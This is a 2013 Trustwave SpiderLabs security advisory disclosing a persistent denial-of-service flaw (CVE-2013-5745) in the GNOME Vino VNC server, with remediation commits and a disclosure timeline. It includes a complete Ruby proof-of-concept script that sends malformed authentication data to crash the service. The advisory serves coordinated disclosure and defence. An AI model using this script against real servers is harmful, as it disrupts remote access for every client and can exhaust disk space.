Trustwave SpiderLabs Security Advisory TWSL2013-028: Persistent Denial of Service Vulnerability in Vino VNC Server Published: 09/16/13 Version: 1.0 Vendor: The GNOME Project (https://wiki.gnome.org/Vino) Product: Vino VNC Server Version affected: Vino VNC Server 3.7.3 and earlier versions (3.8 stable release is affected if encryption is disabled). Product description: Vino is the GNOME desktop sharing server. Finding 1: Remote Persistent Denial of Service Vulnerability Credit: Jonathan Claudius of Trustwave SpiderLabs CVE: CVE-2013-5745 CWE: CWE-20 The Vino VNC server, which is also the default VNC server in Ubuntu (3.4.2-0ubuntu1.2), is vulnerable to a persistent denial of service vulnerability. The vulnerability is triggered when a VNC client, who claims to only support protocol version 3.3, sends malformed data during the authentication selection stage of the authentication process. If this process is repeated more than just a couple times, it causes Vino VNC server to fall into what appears to be an infinite loop, as seen in the service logs via repeating "Authentication deferred - ignoring client message" messages. This not only affects the connecting client IP, but affects service level availability for all potential VNC clients and the service fails to handle any new VNC client requests regardless of client IP. The Vino VNC server must be restarted in order to restore VNC service availability. Additionally, after the failure condition has occurred, the log file (~/.xsession-errors) grows quickly to 1GB within 4min in testing. If left unattended in the failure state, a system wide denial of service due to file system consumption is possible. Example: The following Proof of Concept (PoC) connects to the Vino VNC Server, sends a client banner, and then sends a malformed payload of repeating A's. After the first 3-4 payloads are sent, the port will remain open, but the service will fail to handle any new client requests from any client on any IP. ## vino-vnc-dos-poc.rb #### require 'socket' require 'timeout' # Just a couple payloads in a row should be enough to send Vino into an # (authentication deferred - ignoring client message loop) and spoil the party client_banners = [] 10.times {client_banners << "RFB 003.003"} client_banners.each do |client_banner| puts "Testing " + client_banner begin Timeout::timeout(5) { sock = TCPSocket.open("a.b.c.d", 5900) puts "Waiting for Server Banner..." banner = sock.gets() puts "Got Server Banner: " + banner sock.write(client_banner + "\n") payload = "A" * 16 puts "Sending Payload: " + payload sock.write(payload) sock.close } rescue Timeout::Error puts "Operations are timing out, you may have DoS'd the service" rescue Errno::ECONNREFUSED puts "Cannot connect to service, this is likely an IP/Port mismatch" exit end end ############################ Remediation Steps: The vendor has released a fix in commit 51435d3f946d6d2b99b876b7919b9d41022fc408 and commit 860337231eaccfeed4f857afd0579546a260c23f for the Vino VNC Server. Vendor Communication Timeline: 9/10/13 - Vulnerability disclosed to vendor 9/11/13 - Patch released by vendor 9/16/13 - Advisory published Additional Credits: BitBlaze Group (http://bitblaze.cs.berkeley.edu/) Initial discovery of the denial of service vulnerability in Vino 2.26.1 and 2.32.1 References 1. https://wiki.gnome.org/Vino 2. https://bugzilla.gnome.org/show_bug.cgi?id=707905 3. https://bugzilla.gnome.org/show_bug.cgi?id=641811 About Trustwave: Trustwave is the leading provider of on-demand and subscription-based information security and payment card industry compliance management solutions to businesses and government entities throughout the world. For organizations faced with today's challenging data security and compliance environment, Trustwave provides a unique approach with comprehensive solutions that include its flagship TrustKeeper compliance management software and other proprietary security solutions. Trustwave has helped thousands of organizations--ranging from Fortune 500 businesses and large financial institutions to small and medium-sized retailers--manage compliance and secure their network infrastructure, data communications and critical information assets. Trustwave is headquartered in Chicago with offices throughout North America, South America, Europe, Africa, China and Australia. For more information, visit https://www.trustwave.com About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. 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